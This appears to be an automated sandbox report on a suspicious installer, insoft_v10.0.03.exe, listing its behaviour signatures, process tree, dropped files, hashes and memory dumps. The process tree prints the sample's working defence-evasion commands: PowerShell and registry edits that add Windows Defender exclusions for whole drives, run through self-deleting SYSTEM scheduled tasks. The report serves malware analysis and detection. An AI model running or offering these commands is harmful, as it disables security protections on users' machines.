Analysis

  • max time kernel
    148s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    16/08/2026, 04:25

General

  • Target
    insoft_v10.0.03.exe
  • Size 35.0MB
  • Sample260816-e2f95acr8y
  • SHA256 17c0d49a8a9c7a4b9b8f787bf9826145d5ba97347f6efc549cab522d00b35fb0
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\insoft_v10.0.03.exe
    "C:\Users\Admin\AppData\Local\Temp\insoft_v10.0.03.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:1148
  • C:\Users\Public\bIWbSA\HHmghm.exe
    "C:\Users\Public\bIWbSA\HHmghm.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2880
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:3152
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\bIWbSA\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:6536
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\bIWbSA\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4160
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:3380
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:3984
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:4156
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3316
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:4892
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:3736
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:1020
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5356
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:596
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:4408
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:3536
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:6924
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:1016
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:3420
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:4340
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:2528
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:4400
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:1528
                        • C:\Program Files (x86)\qaZSqk\814Pfc.exe
                          "C:\Program Files (x86)\qaZSqk\814Pfc.exe"
                          2⤵
                            PID:1996
                        • C:\Users\Public\bIWbSA\HHmghm.exe
                          "C:\Users\Public\bIWbSA\HHmghm.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:4932
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\bIWbSA" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:6412
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\bIWbSA" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4436
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:4280
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:6832
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:1632

                          Network

                                MITRE ATT&CK Enterprise v16

                                Replay Monitor

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                                Downloads

                                814Pfc.exe

                                • Path C:\Program Files (x86)\qaZSqk\814Pfc.exe
                                • Size 145KB
                                • SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                XPSPLOG.dll

                                • Path C:\Program Files (x86)\qaZSqk\XPSPLOG.dll
                                • Size 4.6MB
                                • SHA256 725f0177dfa11fd43b6bd02bc16b81c6352d972a8f066466f14622a71b73943f
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                image.png

                                • Path C:\Program Files (x86)\qaZSqk\image.png
                                • Size 5.0MB
                                • SHA256 4c1492aea3fd4932a21927549b899c0f2eb9dd2d3e5bdca292d144a05b654021
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                HHmghm.exe

                                • Path C:\Users\Public\bIWbSA\HHmghm.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UxEnhance64.dll

                                • Path C:\Users\Public\bIWbSA\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 367772866a9dc9d6d2470343c2bab6cde6579ee7044f42d7e490de95696938ff
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\bIWbSA\adoresd.dat
                                • Size 4.7MB
                                • SHA256 0c922ed6ed1b089a1944f091de0d26348752f0668f4198c00a00cce4967230f1
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\bIWbSA\msadox.tb
                                • Size 8KB
                                • SHA256 d3919901e1bf61368812f2440426249788699b34b1b8472336eeaee12f541186
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/1148-524-0x00007FFB43190000-0x00007FFB431A2000-memory.dmp

                                memory/1148-0-0x00000000042E0000-0x00000000042EE000-memory.dmp

                                memory/1148-523-0x00000000042E0000-0x00000000042EE000-memory.dmp

                                memory/1148-503-0x00007FFB43190000-0x00007FFB431A2000-memory.dmp

                                memory/1148-1-0x00000000042F0000-0x00000000042FC000-memory.dmp

                                memory/1996-679-0x00000000034A0000-0x0000000003CA3000-memory.dmp

                                memory/1996-675-0x0000000074FC0000-0x000000007570A000-memory.dmp

                                memory/1996-674-0x0000000001090000-0x0000000001091000-memory.dmp

                                memory/2880-559-0x000001F08A950000-0x000001F08A9DA000-memory.dmp

                                memory/2880-562-0x000001F08A030000-0x000001F08A8B7000-memory.dmp

                                memory/2880-545-0x000001F08A030000-0x000001F08A8B7000-memory.dmp

                                memory/2880-549-0x000001F08A030000-0x000001F08A8B7000-memory.dmp

                                memory/2880-556-0x000001F08A950000-0x000001F08A9DA000-memory.dmp

                                memory/2880-555-0x000001F087EA0000-0x000001F087EEE000-memory.dmp

                                memory/2880-560-0x000001F08A950000-0x000001F08A9DA000-memory.dmp

                                memory/2880-544-0x000001F08A030000-0x000001F08A8B7000-memory.dmp

                                memory/2880-558-0x000001F08A950000-0x000001F08A9DA000-memory.dmp

                                memory/2880-543-0x000001F08A030000-0x000001F08A8B7000-memory.dmp

                                memory/2880-565-0x000001F08A030000-0x000001F08A8B7000-memory.dmp

                                memory/2880-564-0x000001F08A030000-0x000001F08A8B7000-memory.dmp

                                memory/2880-529-0x00007FFB4B3B0000-0x00007FFB4B3B2000-memory.dmp

                                memory/2880-530-0x00007FFB28770000-0x00007FFB28C8E000-memory.dmp

                                memory/2880-535-0x000001F08A030000-0x000001F08A8B7000-memory.dmp

                                memory/2880-537-0x00007FFB4B3C0000-0x00007FFB4B3C2000-memory.dmp

                                memory/2880-538-0x000001F08A030000-0x000001F08A8B7000-memory.dmp

                                memory/2880-542-0x000001F08A030000-0x000001F08A8B7000-memory.dmp

                                memory/3152-604-0x000002823B330000-0x000002823B34E000-memory.dmp

                                memory/3152-601-0x000002823B300000-0x000002823B322000-memory.dmp

                                memory/3152-605-0x000002823B350000-0x000002823B402000-memory.dmp

                                memory/3152-607-0x000002823B410000-0x000002823B41A000-memory.dmp

                                memory/4932-584-0x0000029A66270000-0x0000029A66AF7000-memory.dmp

                                memory/4932-583-0x0000029A66270000-0x0000029A66AF7000-memory.dmp

                                memory/4932-585-0x0000029A66270000-0x0000029A66AF7000-memory.dmp

                                memory/4932-586-0x00007FFB4B3B0000-0x00007FFB4B3B2000-memory.dmp

                                memory/4932-582-0x0000029A66270000-0x0000029A66AF7000-memory.dmp

                                memory/4932-577-0x00007FFB4B3C0000-0x00007FFB4B3C2000-memory.dmp

                                memory/4932-578-0x0000029A66270000-0x0000029A66AF7000-memory.dmp

                                memory/4932-575-0x0000029A66270000-0x0000029A66AF7000-memory.dmp

                                memory/4932-571-0x00007FFB28770000-0x00007FFB28C8E000-memory.dmp